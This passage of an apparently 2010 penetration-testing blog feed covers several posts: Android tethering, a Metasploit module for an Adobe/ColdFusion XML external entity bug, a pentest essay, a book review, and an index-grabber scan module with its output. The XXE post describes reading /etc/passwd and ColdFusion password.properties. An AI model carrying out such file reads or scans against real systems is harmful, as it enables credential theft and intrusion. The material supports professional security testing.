href="http://vimeo.com/17103389"&gt;wXf Web Server Stack by Seth Law&lt;/a&gt; from &lt;a href="http://vimeo.com/user2590597"&gt;cktricky&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-3162420800964737007?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/3162420800964737007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=3162420800964737007' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/3162420800964737007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/3162420800964737007'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/11/wxf-videos-from-appsec-dc-2010.html' title='wXf Videos from AppSec DC 2010'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-8637290302836947211</id><published>2010-11-08T09:54:00.001-05:00</published><updated>2010-11-08T09:54:00.450-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Tethering Your Droid to a Linux System</title><content type='html'>Image my happiness with i got the droid update and saw usb tethering available.&lt;br /&gt;&lt;br /&gt;Then image my sadness--&gt;rage that VendorX wants to charge to charge another 15 bucks to tether.&lt;br /&gt;&lt;br /&gt;so following the instructions from &lt;a href="http://www.linux-magazine.com/Online/Blogs/Productivity-Sauce-Dmitri-s-open-source-blend-of-productive-computing/Tether-an-Android-Phone-Using-Proxoid"&gt;here&lt;/a&gt; it is possible to tether via USB on linux.  Evidently &lt;a href="http://www.junefabrics.com/android/"&gt;PDAnet&lt;/a&gt; works great but i dont use windows cept for powerpoint and i cant afford a mac.&lt;br /&gt;&lt;br /&gt;so here's how to get it going if you dont want to click the link...plus i'll never remember that URL.&lt;br /&gt;&lt;br /&gt;install proxoid on your droid&lt;br /&gt;&lt;br /&gt;download  &amp;amp; extract the &lt;a href="http://developer.android.com/sdk/index.html"&gt;android sdk&lt;/a&gt; to your linux system&lt;br /&gt;&lt;br /&gt;turn on android usb debugging  --&gt;application--&gt;development--&gt;usb debugging&lt;br /&gt;&lt;br /&gt;turn on proxoid&lt;br /&gt;&lt;br /&gt;connect usb&lt;br /&gt;&lt;br /&gt;cg@c0:~$ cd android-sdk-linux_86/tools/&lt;br /&gt;&lt;br /&gt;cg@c0:~/android-sdk-linux_86/tools$ sudo ./adb start-server&lt;br /&gt;&lt;br /&gt;cg@c0t:~/android-sdk-linux_86/tools$ ./adb forward tcp:8080 tcp:8080&lt;br /&gt;&lt;br /&gt;set your FireFox network settings to use localhost 8080 and you can surf.   You should also be able to set your whole system to go thru the droid as well if you set the system wide network proxy.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-8637290302836947211?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/8637290302836947211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8637290302836947211' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8637290302836947211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8637290302836947211'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/11/tethering-your-droid-to-linux-system.html' title='Tethering Your Droid to a Linux System'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2129611693344324801</id><published>2010-11-06T08:57:00.016-04:00</published><updated>2010-11-06T10:38:57.365-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='coldfusion'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Adobe XML Injection Metasploit Module</title><content type='html'>I just pushed out code coverage for the Adobe XML External Entity Injection vulnerability in multiple adobe products including:  BlazeDS 3.2 and earlier versions, LiveCycle 9.0, 8.2.1, and&lt;br /&gt;8.0.1, LiveCycle Data Services 3.0, 2.6.1, and 2.5.1, Flex Data&lt;br /&gt;Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2&lt;br /&gt;&lt;br /&gt;References Here:&lt;br /&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3960&lt;br /&gt;http://www.osvdb.org/62292&lt;br /&gt;http://www.securityfocus.com/bid/38197&lt;br /&gt;http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf&lt;br /&gt;http://www.adobe.com/support/security/bulletins/apsb10-05.html&lt;br /&gt;&lt;br /&gt;I recommend you read security-asessment's pdf on it, its good.&lt;br /&gt;&lt;br /&gt;Anyway, its a cool bug.&lt;br /&gt;1 --&gt;because it affects several products although most people have probably never heard of most of them except for ColdFusion.&lt;br /&gt;2 --&gt;its enabled by default on all those products you've never heard of except for ColdFusion, with the exception of CF 8 which appears to have it turned on by default.&lt;br /&gt;3 --&gt;You have to apply patches for CF individually and there is no automated process. Since this vuln got little media attention I've seen alot of hosts that are still missing this patch and/or didn't turn off the vuln service.&lt;br /&gt;&lt;br /&gt;On with the demo!&lt;br /&gt;&lt;br /&gt;So against a patched host or someone that has disabled the service in ColdFusion you'll see one of two things; either 404's for the checks or 200 for /flex2gateway/ and 500 for the http or https check.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/TNVk0EzLVbI/AAAAAAAAAio/X_BGKk7JrVg/s1600/adobe-xml-inject-404.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 264px;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/TNVk0EzLVbI/AAAAAAAAAio/X_BGKk7JrVg/s400/adobe-xml-inject-404.png" alt="" id="BLOGGER_PHOTO_ID_5536442162726262194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/TNVlAxyKdhI/AAAAAAAAAiw/g0Co7ooGJj0/s1600/adobe-xml-inject-notvuln.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 272px;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/TNVlAxyKdhI/AAAAAAAAAiw/g0Co7ooGJj0/s400/adobe-xml-inject-notvuln.png" alt="" id="BLOGGER_PHOTO_ID_5536442380960036370" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;If you get a bunch of 400's then you need to set the VHOST&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/TNVjnEda3NI/AAAAAAAAAiY/aVbX7DLrUwM/s1600/adobe-xml-inject-400.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 84px;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/TNVjnEda3NI/AAAAAAAAAiY/aVbX7DLrUwM/s400/adobe-xml-inject-400.png" alt="" id="BLOGGER_PHOTO_ID_5536440839785077970" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/TNVjvsfT12I/AAAAAAAAAig/XwBceazzLmQ/s1600/adobe-xml-inject-400-solved.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 180px;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/TNVjvsfT12I/AAAAAAAAAig/XwBceazzLmQ/s400/adobe-xml-inject-400-solved.png" alt="" id="BLOGGER_PHOTO_ID_5536440987969378146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;When it works, you'll see something like this for /etc/passwd&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/TNVXqyCvYsI/AAAAAAAAAh4/X2msDUKfz8U/s1600/adobe-xml-inject-rightfilename.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 225px;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/TNVXqyCvYsI/AAAAAAAAAh4/X2msDUKfz8U/s400/adobe-xml-inject-rightfilename.png" alt="" id="BLOGGER_PHOTO_ID_5536427709421281986" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;and like this when you asked for a file that doesn't exist or doesn't have permission to read (since CF doesn't run as root on linux, requesting /etc/shadow wont work) :-(&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/TNVYMO9p9TI/AAAAAAAAAiA/DviKyKrr3-g/s1600/adobe-xml-inject-wrongfilename.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 120px;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/TNVYMO9p9TI/AAAAAAAAAiA/DviKyKrr3-g/s400/adobe-xml-inject-wrongfilename.png" alt="" id="BLOGGER_PHOTO_ID_5536428284120266034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;At this point, you're probably like "so what"  well whats cool about arbitrary file read is that 1. it also works on Windows:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/TNVY2Oux6EI/AAAAAAAAAiI/VgkKLZk9D2U/s1600/adobe-xml-inject-bootini.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 175px;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/TNVY2Oux6EI/AAAAAAAAAiI/VgkKLZk9D2U/s400/adobe-xml-inject-bootini.png" alt="" id="BLOGGER_PHOTO_ID_5536429005612378178" border="0" /&gt;&lt;/a&gt; and 2. that whole &lt;a href="http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/"&gt;password.properties attack&lt;/a&gt; is now cool again because you can just request that file too&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/TNVaojhTVaI/AAAAAAAAAiQ/ri3UDHHT9wk/s1600/adobe-xml-inject-passwordproperties.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 242px;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/TNVaojhTVaI/AAAAAAAAAiQ/ri3UDHHT9wk/s400/adobe-xml-inject-passwordproperties.png" alt="" id="BLOGGER_PHOTO_ID_5536430969698080162" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;-CG&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2129611693344324801?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2129611693344324801/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2129611693344324801' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2129611693344324801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2129611693344324801'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/11/adobe-xml-injection-metasploit-module.html' title='Adobe XML Injection Metasploit Module'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bgJlT6eWjGg/TNVk0EzLVbI/AAAAAAAAAio/X_BGKk7JrVg/s72-c/adobe-xml-inject-404.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-560609276760086318</id><published>2010-10-08T09:03:00.003-04:00</published><updated>2010-10-08T09:31:40.426-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><title type='text'>A new definition of "win"</title><content type='html'>Ben Tomhave has a good post over on his blog&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.secureconsulting.net/2010/10/there_is_no_win.html"&gt;http://www.secureconsulting.net/2010/10/there_is_no_win.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;go read it. its short...wont take long, I promise.&lt;br /&gt;&lt;br /&gt;In part I agree, you are never going to "win" by keeping an attacker out.  Like he puts in the post:&lt;br /&gt;&lt;blockquote&gt;Traditionally we've held the mindset that we "win" if we stop the attackers. This mindset is sheer folly. To "win" in this scenario we need to successfully defend against 100% of attacks, whereas the attacker need only succeed once (probabilistically this works out to being far less than 100%).&lt;/blockquote&gt;&lt;blockquote&gt;Instead, we need to acknowledge the nature of our asymmetric threat and  realize that there is no way to achieve "perfect" security and resist  100% of attacks. To think otherwise is willfully ignorant. Instead, we  must accept a new status quo based on survivability. That is, despite  successful attacks, we can consider ourselves victorious in conflict  merely by surviving.&lt;/blockquote&gt; Protecting YOUR important data on the network is ultimately the goal of most network security.  Keeping the attackers out is a silly goal.  You are one adobe/flash/java/whatever 0day away from failing to keep attackers out and thus "losing".&lt;br /&gt;&lt;br /&gt;Surviving a network attack is not the same as surviving a mortar attack on a &lt;a href="http://en.wikipedia.org/wiki/Forward_operating_base"&gt;FOB&lt;/a&gt; where if I'm still breathing and have use of my limbs at the end of it i can call that a "win".  In turn, its not a successful penetration test or attack if merely "get in" and pop a bunch of shells (see Chris Nickerson's &lt;a href="http://www.scribd.com/doc/38160074/Brucon-Top5-Ways-to-Destroy-a-Company-Brucon"&gt;Top 5 Ways To Destroy A Company&lt;/a&gt; talk).  Its a "win" when I steal what makes that company money, extract it without them knowing, then show it to them later for the "poop in the pants" moment.  A report with a bunch of screenies of shells doesn't convey the same sense of "oh shit" that the first 100 entries of their key database does.  In this case while the business may have thought they "survived" they in fact "lost".&lt;br /&gt;&lt;br /&gt;We're getting really good at teaching our clients how to &lt;a href="http://blip.tv/file/3561954/"&gt;catch penetration testers and their methodologies&lt;/a&gt; and conditioning them that this a "win" when in fact most times defenders fail to see and catch people with a modified methodology, non public tools, or "non-standard" goals.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-560609276760086318?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/560609276760086318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=560609276760086318' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/560609276760086318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/560609276760086318'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/10/new-definition-of-win.html' title='A new definition of &quot;win&quot;'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-5217160923580505820</id><published>2010-09-27T10:37:00.000-04:00</published><updated>2010-09-27T10:37:00.469-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Book Reviews'/><title type='text'>Hacking: The Next Generation Book Review</title><content type='html'>Hacking: The Next Generation Book Review&lt;br /&gt;&lt;br /&gt;Nitesh Dhanjani, Billy Rios, &amp;amp; Brett Hardin&lt;br /&gt;&lt;br /&gt;5 stars&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Good Intro to Next Gen Attacks&lt;br /&gt;&lt;br /&gt;First Impressions...skinny book. Strike One.  Chapter 1 -- "Intelligence Gathering: Peering Through the Windows to Your Organization" spends a lot of time on physical security and social engineering and no mention of Maltego.  I'm not sure how anyone can write a book on Intelligence Gathering and NOT include Maltego. Strike Two.&lt;br /&gt;&lt;br /&gt;At this point i was thinking I had a dud on my hands BUT Chapter 2 --- "Inside-Out Attacks: The Attacker Is the Insider" redeems. Tons of code and examples to make XSS work in "realistic" scenarios mix the right amount of tech and narrative.  My only gripe was that they talked about using XSS shell for XSS exploitation instead of using BEeF which is actively maintained and developed.&lt;br /&gt;&lt;br /&gt;All the other chapters (except for Chapter 3) were very good, none of the others are as technical as chapter 2 but I believe they cover the current trends in a entertaining and readable way.  Like one reviewer mentioned the information covered in Chapter 5 -- "Cloud Insecurity: Sharing the Cloud with Your Enemy" was not what I expected.  It covered high level "possible" attacks versus any "probable" attacks. With the exception of possibly making insecure VM's and getting people to run it.  Chapter 7 -- "Infiltrating the Phishing Underground: Learning from Online Criminals?"  was a "chapterfied" version of the authors talk on the subject.  Chapter 4 -- "Blended Threats: When Applications Exploit Each Other" was a good overview of stringing vulnerabilities that would be/were not considered high risk into high risk issues by combining one or more together which actually is "next generation".&lt;br /&gt;&lt;br /&gt;Chapter 3, IMO didnt cover anything new.  Mostly a discussion of insecure protocols, arp spoofing, email spoofing. While still a relevant issue in security not "next generation".&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;iframe src="http://rcm.amazon.com/e/cm?t=carnal0wnage-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;asins=0596154577&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="width: 120px; height: 240px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-5217160923580505820?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/5217160923580505820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5217160923580505820' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5217160923580505820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5217160923580505820'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/09/hacking-next-generation-book-review.html' title='Hacking: The Next Generation Book Review'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-6182170507562574126</id><published>2010-09-23T14:07:00.000-04:00</published><updated>2011-06-24T15:27:59.830-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>AppSec DC 2010 and Web Exploitation Framework</title><content type='html'>Back in March, I spoke of inactivity on this blog because of time being devoted to a new tool.&lt;br /&gt;&lt;br /&gt;The post can be found &lt;a href="http://cktricky.blogspot.com/2010/03/working-on-new-tool.html"&gt; &lt;strong&gt;Here&lt;/strong&gt; &lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;The tool is actually a combination of tools or Web Exploitation Framework (wXf). The idea is to roll the massive amounts of various AppSec tools into a single framework. Simplifies things, we hope.&lt;br /&gt;&lt;br /&gt;Come November 10th, at AppSec DC 2010 we will be presenting the framework and laying out a road-map. I hope it becomes useful to consultants and application security&amp;nbsp;practitioners.&lt;br /&gt;&lt;br /&gt;More info can be found at the following link (full schedule):&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href="http://www.owasp.org/index.php/OWASP_AppSec_DC_2010_Schedule#tab=Plenary_Day_1_-_11.2F10"&gt; OWASP FULL SCHEDULE &lt;/a&gt;&lt;/strong&gt;&lt;a href="http://www.owasp.org/index.php/OWASP_AppSec_DC_2010_Schedule#tab=Plenary_Day_1_-_11.2F10"&gt; &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;...and here (wXf Specific):&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href="http://www.owasp.org/index.php/WXf:_Web_Exploitation_Framework"&gt; WXF PRESENTATION &lt;/a&gt;&lt;/strong&gt;&lt;a href="http://www.owasp.org/index.php/WXf:_Web_Exploitation_Framework"&gt; &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Look forward to seeing you all there.&lt;br /&gt;&lt;br /&gt;~Happy Hacking&lt;br /&gt;&lt;br /&gt;cktricky&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-6182170507562574126?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/6182170507562574126/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=6182170507562574126' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6182170507562574126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6182170507562574126'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/09/appsec-dc-2010-and-web-exploitation.html' title='AppSec DC 2010 and Web Exploitation Framework'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-7540480400540308269</id><published>2010-09-04T19:47:00.007-04:00</published><updated>2010-09-06T14:13:28.753-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='auxiliary modules'/><title type='text'>Grabbing Index Pages Of Webservers</title><content type='html'>Grabbing the index pages of web servers seems like a no brainer and something every pentester is going to perform on a test.  The problem I ran into is how do you get this info once your inside and using meterpreter as your pivot into the network.&lt;br /&gt;&lt;br /&gt;Your current options are to port forward to each host or set up a route via your meterpreter session and run some sort of auxiliary module.  You can tcp port scan and find open ports or use the http_version module to see server version but you don't get a feel for whats actually on the site.&lt;br /&gt;&lt;br /&gt;I opted to write something that would scan a range, perform a HTTP GET of  / on the ip, then take the resulting body from the response, which should be html, and save it to a file to look at afterwards.&lt;br /&gt;&lt;br /&gt;Looks like this when it runs...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;msf auxiliary(http_index_grabber) &gt; set RHOSTS carnal0wnage.com/24&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;RHOSTS =&gt; carnal0wnage.com/24&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;msf auxiliary(http_index_grabber) &gt; run&lt;/span&gt;  &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[+] Received a HTTP 200...Logging to file: /home/cg/.msf3/logs/auxiliary/http_index_grabber/209.20.85.4_20100904.4426.html&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[+] Received a HTTP 200...Logging to file: /home/cg/.msf3/logs/auxiliary/http_index_grabber/209.20.85.5_20100904.4429.html&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Received 301 to http://drumsti.cc/ for 209.20.85.10:80/&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[-] Received 403 for 209.20.85.8:80/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[+] Received a HTTP 200...Logging to file: /home/cg/.msf3/logs/auxiliary/http_index_grabber/209.20.85.12_20100904.4432.html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;...&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Received 302 to http://209.20.85.57/apache2-default/ for 209.20.85.57:80/&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;[+] Received a HTTP 200...Logging to file: /home/cg/.msf3/logs/auxiliary/http_index_grabber/209.20.85.56_20100904.4503.html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[*] Received 302 to http://209.20.85.51/session/new for 209.20.85.51:80/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;you can then check out the folder with the results&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/TILpyfvQlVI/AAAAAAAAAhY/QZLCL3HAaCE/s1600/http_index_grabber_screenie.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 281px;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/TILpyfvQlVI/AAAAAAAAAhY/QZLCL3HAaCE/s400/http_index_grabber_screenie.png" alt="" id="BLOGGER_PHOTO_ID_5513225947577357650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;code is here:&lt;br /&gt;&lt;a href="http://carnal0wnage.googlecode.com/svn/trunk/msf3/modules/auxiliary/admin/random/http_index_grabber.rb"&gt;http://carnal0wnage.googlecode.com/svn/trunk/msf3/modules/auxiliary/admin/random/http_index_grabber.rb&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-7540480400540308269?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/7540480400540308269/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=7540480400540308269' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7540480400540308269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7540480400540308269'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/09/grabbing-index-pages-of-webservers.html' title='Grabbing Index Pages Of Webservers'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_bgJlT6eWjGg/TILpyfvQlVI/AAAAAAAAAhY/QZLCL3HAaCE/s72-c/http_index_grabber_screenie.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-7491368004640026622</id><published>2010-08-02T10:35:00.000-04:00</published><updated>2010-08-02T10:35:00.175-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' 